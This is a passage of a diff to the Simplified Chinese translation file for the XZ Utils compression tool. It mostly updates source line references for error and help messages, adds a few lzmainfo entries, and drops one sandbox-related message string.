of lzip files (.lz) is not supported" msgstr "不支持对 lzip 文件 (.lz) 的压缩" -#: src/xz/args.c:815 +#: src/xz/args.c:814 msgid "--block-list is ignored unless compressing to the .xz format" msgstr "除非压缩为 .xz 格式,--block-list 将被忽略" -#: src/xz/args.c:828 src/xz/args.c:837 +#: src/xz/args.c:827 src/xz/args.c:836 msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" msgstr "启用 --format-raw 选项时,必须指定 --suffix=.SUF 获知写入至标准输出" -#: src/xz/coder.c:141 +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "过滤器最多数量为四" -#: src/xz/coder.c:179 +#: src/xz/coder.c:178 #, c-format msgid "Error in --filters%s=FILTERS option:" msgstr "在 --filters%s=过滤器 选项中出现错误:" -#: src/xz/coder.c:229 +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "内存用量限制对指定过滤器设置过低。" -#: src/xz/coder.c:244 +#: src/xz/coder.c:243 #, c-format msgid "filter chain %u used by --block-list but not specified with --filters%u=" msgstr "--block-list 使用了过滤器链 %u,但未经由 --filters%u= 指定" -#: src/xz/coder.c:375 +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "不推荐在 raw 模式使用预设等级。" -#: src/xz/coder.c:377 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "各个预设等级所使用的准确选项列表在不同软件版本之间可能不同。" -#: src/xz/coder.c:403 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr ".lzma 格式只支持 LZMA1 过滤器" -#: src/xz/coder.c:411 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "LZMA1 无法用于 .xz 格式" -#: src/xz/coder.c:435 +#: src/xz/coder.c:434 #, c-format msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "过滤器链 %u 和 --flush-timeout 不兼容" -#: src/xz/coder.c:444 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "因 --flush-timeout 而切换至单线程模式" -#: src/xz/coder.c:485 +#: src/xz/coder.c:484 #, c-format msgid "Unsupported options in filter chain %u" msgstr "过滤器链 %u 中存在不支持的选项" -#: src/xz/coder.c:516 +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "使用最多 % 个线程。" -#: src/xz/coder.c:532 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "不支持的过滤器链或过滤器选项" -#: src/xz/coder.c:553 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "解压缩需要 %s MiB 的内存。" -#: src/xz/coder.c:585 +#: src/xz/coder.c:584 #, c-format msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" msgstr "已将所使用的线程数从 %s 减小为 %s,以不超出 %s MiB 的内存用量限制" -#: src/xz/coder.c:605 +#: src/xz/coder.c:604 #, c-format msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "已将所使用的线程数从 %s 减小为 1。这仍然超出了自动的内存使用限制 %s MiB。需要 %s MiB 的内存。继续操作。" -#: src/xz/coder.c:632 +#: src/xz/coder.c:631 #, c-format msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "正在切换到单线程模式以不超出 %s MiB 的内存用量限制" -#: src/xz/coder.c:757 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "已调整 LZMA%c 字典大小(从 %s MiB 调整为 %s MiB),以不超出 %s MiB 的内存用量限制" -#: src/xz/coder.c:767 +#: src/xz/coder.c:766 #, fuzzy, c-format #| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "已调整 LZMA%c 字典大小(从 %s MiB 调整为 %s MiB),以不超出 %s MiB 的内存用量限制" -#: src/xz/coder.c:1141 +#: src/xz/coder.c:1140 #, c-format msgid "Error changing to filter chain %u: %s" msgstr "更改为过滤器链 %u 时出错:%s" -#: src/xz/file_io.c:137 src/xz/file_io.c:145 +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "创建管道时出错:%s" -#: src/xz/file_io.c:333 -msgid "Failed to enable the sandbox" -msgstr "沙盒启用失败" - -#: src/xz/file_io.c:375 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s:poll() 失败:%s" @@ -206,252 +202,252 @@ msgstr "%s:poll() 失败:%s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:442 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s:文件似乎已移动,不再进行删除操作" -#: src/xz/file_io.c:449 src/xz/file_io.c:1005 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s:无法删除:%s" -#: src/xz/file_io.c:475 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s:无法设置文件所有者:%s" -#: src/xz/file_io.c:488 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s:无法设置文件所有组:%s" -#: src/xz/file_io.c:507 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s:无法设置文件权限:%s" -#: src/xz/file_io.c:633 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "从标准输入获取文件状态标志出错:%s" -#: src/xz/file_io.c:691 src/xz/file_io.c:753 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s:是符号链接,跳过" -#: src/xz/file_io.c:782 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s:是目录,跳过" -#: src/xz/file_io.c:788 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s:不是标准文件,跳过" -#: src/xz/file_io.c:805 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s:文件有设置用户ID或设置组ID标识,跳过" -#: src/xz/file_io.c:812 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s:文件有粘滞位标识,跳过" -#: src/xz/file_io.c:819 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s:输入文件有多于一个硬链接,跳过" -#: src/xz/file_io.c:861 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "空文件名,跳过" -#: src/xz/file_io.c:915 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "回复标准输入的状态标志时出错:%s" -#: src/xz/file_io.c:963 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "获取标准输出的文件状态标志时出错:%s" -#: src/xz/file_io.c:1162 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "恢复标准输出的 O_APPEND 标志时出错:%s" -#: src/xz/file_io.c:1174 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s:关闭文件失败:%s" -#: src/xz/file_io.c:1210 src/xz/file_io.c:1472 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s:尝试创建稀疏文件时 seek 失败:%s" -#: src/xz/file_io.c:1310 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s:读取错误:%s" -#: src/xz/file_io.c:1340 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s:seek 文件时出错:%s" -#: src/xz/file_io.c:1364 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s:未预期的文件结束" -#: src/xz/file_io.c:1423 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s:写入错误:%s" -#: src/xz/hardware.c:238 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "已禁用" -#: src/xz/hardware.c:269 +#: src/xz/hardware.c:268 msgid "Amount of physical memory (RAM):" msgstr "物理内存(RAM)用量:" -#: src/xz/hardware.c:270 +#: src/xz/hardware.c:269 msgid "Number of processor threads:" msgstr "处理器线程数:" -#: src/xz/hardware.c:271 +#: src/xz/hardware.c:270 msgid "Compression:" msgstr "压缩:" -#: src/xz/hardware.c:272 +#: src/xz/hardware.c:271 msgid "Decompression:" msgstr "解压缩:" -#: src/xz/hardware.c:273 +#: src/xz/hardware.c:272 msgid "Multi-threaded decompression:" msgstr "多线程解压缩:" -#: src/xz/hardware.c:274 +#: src/xz/hardware.c:273 msgid "Default for -T0:" msgstr "-T0 的默认值:" -#: src/xz/hardware.c:292 +#: src/xz/hardware.c:291 msgid "Hardware information:" msgstr "硬件信息:" -#: src/xz/hardware.c:299 +#: src/xz/hardware.c:298 msgid "Memory usage limits:" msgstr "内存使用限制:" -#: src/xz/list.c:68 +#: src/xz/list.c:67 msgid "Streams:" msgstr "流:" -#: src/xz/list.c:69 +#: src/xz/list.c:68 msgid "Blocks:" msgstr "块:" -#: src/xz/list.c:70 +#: src/xz/list.c:69 msgid "Compressed size:" msgstr "压缩后大小:" -#: src/xz/list.c:71 +#: src/xz/list.c:70 msgid "Uncompressed size:" msgstr "解压缩大小:" -#: src/xz/list.c:72 +#: src/xz/list.c:71 msgid "Ratio:" msgstr "比例:" -#: src/xz/list.c:73 +#: src/xz/list.c:72 msgid "Check:" msgstr "校验:" -#: src/xz/list.c:74 +#: src/xz/list.c:73 msgid "Stream Padding:" msgstr "流填充大小:" -#: src/xz/list.c:75 +#: src/xz/list.c:74 msgid "Memory needed:" msgstr "所需内存:" -#: src/xz/list.c:76 +#: src/xz/list.c:75 msgid "Sizes in headers:" msgstr "头部存放大小:" -#: src/xz/list.c:79 +#: src/xz/list.c:78 msgid "Number of files:" msgstr "文件数量:" -#: src/xz/list.c:122 +#: src/xz/list.c:121 msgid "Stream" msgstr "流" -#: src/xz/list.c:123 +#: src/xz/list.c:122 msgid "Block" msgstr "块" -#: src/xz/list.c:124 +#: src/xz/list.c:123 msgid "Blocks" msgstr "块" -#: src/xz/list.c:125 +#: src/xz/list.c:124 msgid "CompOffset" msgstr "压缩偏移量" -#: src/xz/list.c:126 +#: src/xz/list.c:125 msgid "UncompOffset" msgstr "解压偏移量" -#: src/xz/list.c:127 +#: src/xz/list.c:126 msgid "CompSize" msgstr "压缩后大小" -#: src/xz/list.c:128 +#: src/xz/list.c:127 msgid "UncompSize" msgstr "解压缩大小" -#: src/xz/list.c:129 +#: src/xz/list.c:128 msgid "TotalSize" msgstr "总大小" -#: src/xz/list.c:130 +#: src/xz/list.c:129 msgid "Ratio" msgstr "比例" -#: src/xz/list.c:131 +#: src/xz/list.c:130 msgid "Check" msgstr "校验" -#: src/xz/list.c:132 +#: src/xz/list.c:131 msgid "CheckVal" msgstr "校验值" -#: src/xz/list.c:133 +#: src/xz/list.c:132 msgid "Padding" msgstr "填充" -#: src/xz/list.c:134 +#: src/xz/list.c:133 msgid "Header" msgstr "头部" -#: src/xz/list.c:135 +#: src/xz/list.c:134 msgid "Flags" msgstr "标志" -#: src/xz/list.c:136 +#: src/xz/list.c:135 msgid "MemUsage" msgstr "内存用量" -#: src/xz/list.c:137 +#: src/xz/list.c:136 msgid "Filters" msgstr "过滤器" @@ -459,7 +455,7 @@ msgstr "过滤器" #. This string is used in tables. In older xz version this #. string was limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:169 +#: src/xz/list.c:168 msgid "None" msgstr "无" @@ -467,60 +463,60 @@ msgstr "无" #. but the Check ID is known (here 2). In older xz version these #. strings were limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:175 +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "未知-2" -#: src/xz/list.c:176 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "未知-3" -#: src/xz/list.c:178 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "未知-5" -#: src/xz/list.c:179 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "未知-6" -#: src/xz/list.c:180 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "未知-7" -#: src/xz/list.c:181 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "未知-8" -#: src/xz/list.c:182 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "未知-9" -#: src/xz/list.c:184 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "未知-11" -#: src/xz/list.c:185 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "未知-12" -#: src/xz/list.c:186 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "未知-13" -#: src/xz/list.c:187 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "未知-14" -#: src/xz/list.c:188 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "未知-15" -#: src/xz/list.c:351 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s:文件为空" -#: src/xz/list.c:356 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s:过小而不是有效的 .xz 文件" @@ -529,63 +525,67 @@ msgstr "%s:过小而不是有效的 .xz 文件" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:741 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr " 流 块 压缩大小 解压大小 比例 校验 文件名" -#: src/xz/list.c:1036 src/xz/list.c:1214 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "是" -#: src/xz/list.c:1036 src/xz/list.c:1214 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "否" -#: src/xz/list.c:1038 src/xz/list.c:1216 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " 最低 XZ Utils 版本:%s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1189 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s 文件\n" -#: src/xz/list.c:1202 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "总计:" -#: src/xz/list.c:1280 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list 仅适用于 .xz 文件(--format=xz 或 --format=auto)" -#: src/xz/list.c:1286 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list 不支持从标准输入读取" -#: src/xz/main.c:96 +#: src/xz/main.c:89 #, c-format msgid "%s: Error reading filenames: %s" msgstr "%s:读取文件名列表时出错:%s" -#: src/xz/main.c:103 +#: src/xz/main.c:96 #, c-format msgid "%s: Unexpected end of input when reading filenames" msgstr "%s:读取文件名列表时遇到未预期的输入结束" -#: src/xz/main.c:127 +#: src/xz/main.c:120 #, c-format msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s:读取文件名列表时获得了空字符;您可能想要使用 '--files0' 而非 '--files'?" -#: src/xz/main.c:207 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "尚不支持带 --robot 的压缩和解压缩。" -#: src/xz/main.c:285 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "无法同时从标准输入读取数据和文件名列表" @@ -593,68 +593,68 @@ msgstr "无法同时从标准输入读取数据和文件名列表" #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:671 src/xz/message.c:726 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s:" -#: src/xz/message.c:798 src/xz/message.c:857 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "内部错误(bug)" -#: src/xz/message.c:805 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "无法建立信号处理器" -#: src/xz/message.c:814 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "无完整性检查;将不验证文件完整性" -#: src/xz/message.c:817 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "不支持的完整性检查类型;将不验证文件完整性" -#: src/xz/message.c:824 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "达到内存使用限制" -#: src/xz/message.c:827 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "无法识别文件格式" -#: src/xz/message.c:830 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "不支持的选项" -#: src/xz/message.c:833 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "压缩数据已损坏" -#: src/xz/message.c:836 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "输入意外结束" -#: src/xz/message.c:878 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "需要 %s MiB 的内存空间。限制已禁用。" -#: src/xz/message.c:906 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "需要 %s MiB 的内存空间。限制为 %s。" -#: src/xz/message.c:925 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s:过滤器链:%s\n" -#: src/xz/message.c:936 +#: src/xz/message.c:916 #, c-format msgid "Try '%s --help' for more information." msgstr "请尝试执行 '%s --help' 来获取更多信息。" -#: src/xz/message.c:962 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -665,15 +665,15 @@ msgstr "" "使用 .xz 格式压缩或解压缩文件。\n" "\n" -#: src/xz/message.c:969 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "必选参数对长短选项同时适用。\n" -#: src/xz/message.c:973 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " 操作模式:\n" -#: src/xz/message.c:976 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -685,7 +685,7 @@ msgstr "" " -t, --test 测试压缩文件完整性\n" " -l, --list 列出 .xz 文件的信息" -#: src/xz/message.c:982 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -693,7 +693,7 @@ msgstr "" "\n" " 操作修饰符:\n" -#: src/xz/message.c:985 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -703,13 +703,13 @@ msgstr "" " -f, --force 强制覆写输出文件和(解)压缩链接\n" " -c, --stdout 向标准输出写入,同时不要删除输入文件" -#: src/xz/message.c:994 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" msgstr " --single-stream 仅解压缩第一个流,忽略其后可能继续出现的输入数据" -#: src/xz/message.c:997 +#: src/xz/message.c:977 #, fuzzy #| msgid "" #| " --no-sparse do not create sparse files when decompressing\n" @@ -732,7 +732,7 @@ msgstr "" " 将从标准输入读取文件名列表;文件名必须使用换行符分隔\n" " --files0[=文件] 类似 --files,但使用空字符进行分隔" -#: src/xz/message.c:1006 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -740,7 +740,7 @@ msgstr "" "\n" " 基本文件格式和压缩选项:\n" -#: src/xz/message.c:1008 +#: src/xz/message.c:988 #, fuzzy #| msgid "" #| " -F, --format=FMT file format to encode or decode; possible values are\n" @@ -759,11 +759,11 @@ msgstr "" " -C, --check=类型 完整性检查类型:“none”(请谨慎使用)、\n" " “crc32”、“crc64”(默认)或“sha256”" -#: src/xz/message.c:1013 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check 解压缩时不要进行完整性检查验证" -#: src/xz/message.c:1017 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -771,7 +771,7 @@ msgstr "" " -0 ... -9 压缩预设等级;默认为 6;使用 7-9 的等级之前,请先考虑\n" " 压缩和解压缩所需的内存用量!(会占用大量内存空间)" -#: src/xz/message.c:1021 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -779,7 +779,7 @@ msgstr "" " -e, --extreme 尝试使用更多 CPU 时间来改进压缩比率;\n" " 不会影响解压缩的内存需求量" -#: src/xz/message.c:1025 +#: src/xz/message.c:1005 #, fuzzy #| msgid "" #| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" @@ -791,7 +791,7 @@ msgstr "" " -T, --threads=数量 使用最多指定数量的线程;默认值为 1;设置为 0\n" " 可以使用与处理器内核数量相同的线程数" -#: src/xz/message.c:1030 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -801,7 +801,7 @@ msgstr "" " 输入每读取指定块大小的数据后即开始一个新的 .xz 块;\n" " 使用该选项可以设置多线程压缩中的块大小" -#: src/xz/message.c:1034 +#: src/xz/message.c:1014 #, fuzzy #| msgid "" #| " --block-list=SIZES\n" @@ -818,7 +818,7 @@ msgstr "" " 在所给出的未压缩数据间隔大小的数据之后开始一个新的\n" " .xz 块(使用逗号分隔)" -#: src/xz/message.c:1040 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -829,7 +829,7 @@ msgstr "" " 进行压缩时,如果从上次刷洗输出之后经过了指定的超时时间\n" " 且读取更多数据会被阻塞,则刷洗输出所有缓冲数据" -#: src/xz/message.c:1046 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -848,13 +848,13 @@ msgstr "" " 所指定限制量单位为字节,或以百分号 % 结尾表示内存比例,\n" " 或者指定 0 取软件默认值" -#: src/xz/message.c:1055 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" msgstr " --no-adjust 如果压缩设置超出内存用量限制,不调整设置而直接报错" -#: src/xz/message.c:1061 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -862,27 +862,27 @@ msgstr "" "\n" " 用于压缩的自定义过滤器链(不使用预设等级时的备选用法):" -#: src/xz/message.c:1064 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" " syntax; use --filters-help for more information" msgstr "" -#: src/xz/message.c:1070 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" " string syntax to use with --block-list" msgstr "" -#: src/xz/message.c:1076 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." msgstr "" -#: src/xz/message.c:1087 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -911,7 +911,7 @@ msgstr "" " (hc3, hc4, bt2, bt3, bt4; bt4)\n" " depth=数字 最大搜索深度; 0=自动(默认)" -#: src/xz/message.c:1102 +#: src/xz/message.c:1082 #, fuzzy #| msgid "" #| "\n" @@ -948,7 +948,7 @@ msgstr "" " 所有过滤器可用选项:\n" " start=数字 转换的起始偏移量(默认=0)" -#: src/xz/message.c:1116 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -959,7 +959,7 @@ msgstr "" " --delta[=选项] 增量过滤器;有效选项(有效值;默认值):\n" " dist=NUM 相减的字节之间的距离 (1-256; 1)" -#: src/xz/message.c:1124 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -967,7 +967,7 @@ msgstr "" "\n" " 其它选项:\n" -#: src/xz/message.c:1127 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -975,21 +975,21 @@ msgstr "" " -q, --quiet 不显示警告信息;指定两次可不显示错误信息\n" " -v, --verbose 输出详细信息;指定两次可以输出更详细的信息" -#: src/xz/message.c:1132 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn 使得警告信息不影响程序退出返回值" -#: src/xz/message.c:1134 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot 使用机器可解析的信息(对于脚本有用)" -#: src/xz/message.c:1137 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" msgstr " --info-memory 显示 RAM 总量和当前配置的内存用量限制,然后退出" -#: src/xz/message.c:1140 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -997,7 +997,7 @@ msgstr "" " -h, --help 显示短帮助信息(仅列出基本选项)\n" " -H, --long-help 显示本长帮助信息" -#: src/xz/message.c:1144 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1005,11 +1005,12 @@ msgstr "" " -h, --help 显示本短帮助信息并退出\n" " -H, --long-help 显示长帮助信息(同时列出高级选项)" -#: src/xz/message.c:1149 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version 显示软件版本号并退出" -#: src/xz/message.c:1151 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 +#, c-format msgid "" "\n" "With no FILE, or when FILE is -, read standard input.\n" @@ -1021,7 +1022,7 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1157 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" @@ -1029,16 +1030,16 @@ msgstr "" "请使用中文向 TP 简体中文翻译团队 \n" "报告软件的简体中文翻译错误。\n" -#: src/xz/message.c:1159 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "%s 主页:<%s>\n" -#: src/xz/message.c:1163 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "这是开发版本,不适用于生产环境使用。" -#: src/xz/message.c:1180 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1046,89 +1047,109 @@ msgid "" "specified instead of a filter chain.\n" msgstr "" -#: src/xz/message.c:1186 +#: src/xz/message.c:1166 #, fuzzy #| msgid "Unsupported filter chain or filter options" msgid "The supported filters and their options are:" msgstr "不支持的过滤器链或过滤器选项" -#: src/xz/options.c:86 +#: src/xz/options.c:85 #, c-format msgid "%s: Options must be 'name=value' pairs separated with commas" msgstr "%s:选项必须按照 '名称=值' 的格式成对出现,使用半角逗号分隔" -#: src/xz/options.c:93 +#: src/xz/options.c:92 #, c-format msgid "%s: Invalid option name" msgstr "%s:无效的选项名称" -#: src/xz/options.c:113 +#: src/xz/options.c:112 #, c-format msgid "%s: Invalid option value" msgstr "%s:无效的选项值" -#: src/xz/options.c:248 +#: src/xz/options.c:247 #, c-format msgid "Unsupported LZMA1/LZMA2 preset: %s" msgstr "不支持的 LZMA1/LZMA2 预设等级:%s" -#: src/xz/options.c:356 +#: src/xz/options.c:355 msgid "The sum of lc and lp must not exceed 4" msgstr "lc 和 lp 的和必须不大于 4" -#: src/xz/suffix.c:166 +#: src/xz/suffix.c:165 #, c-format msgid "%s: Filename has an unknown suffix, skipping" msgstr "%s:文件名有未知后缀,跳过" -#: src/xz/suffix.c:187 +#: src/xz/suffix.c:186 #, c-format msgid "%s: File already has '%s' suffix, skipping" msgstr "%s:文件已有 '%s' 后缀名,跳过" -#: src/xz/suffix.c:394 +#: src/xz/suffix.c:393 #, c-format msgid "%s: Invalid filename suffix" msgstr "%s:无效的文件名后缀" -#: src/xz/util.c:107 +#: src/xz/util.c:106 #, c-format msgid "%s: Value is not a non-negative decimal integer" msgstr "%s:值不是非负十进制整数" -#: src/xz/util.c:149 +#: src/xz/util.c:148 #, c-format msgid "%s: Invalid multiplier suffix" msgstr "%s:无效的乘数后缀" -#: src/xz/util.c:151 +#: src/xz/util.c:150 #, fuzzy #| msgid "Valid suffixes are `KiB' (2^10), `MiB' (2^20), and `GiB' (2^30)." msgid "Valid suffixes are 'KiB' (2^10), 'MiB' (2^20), and 'GiB' (2^30)." msgstr "有效的后缀包括“KiB”(2^10)、“MiB”(2^20)和“GiB”(2^30)。" -#: 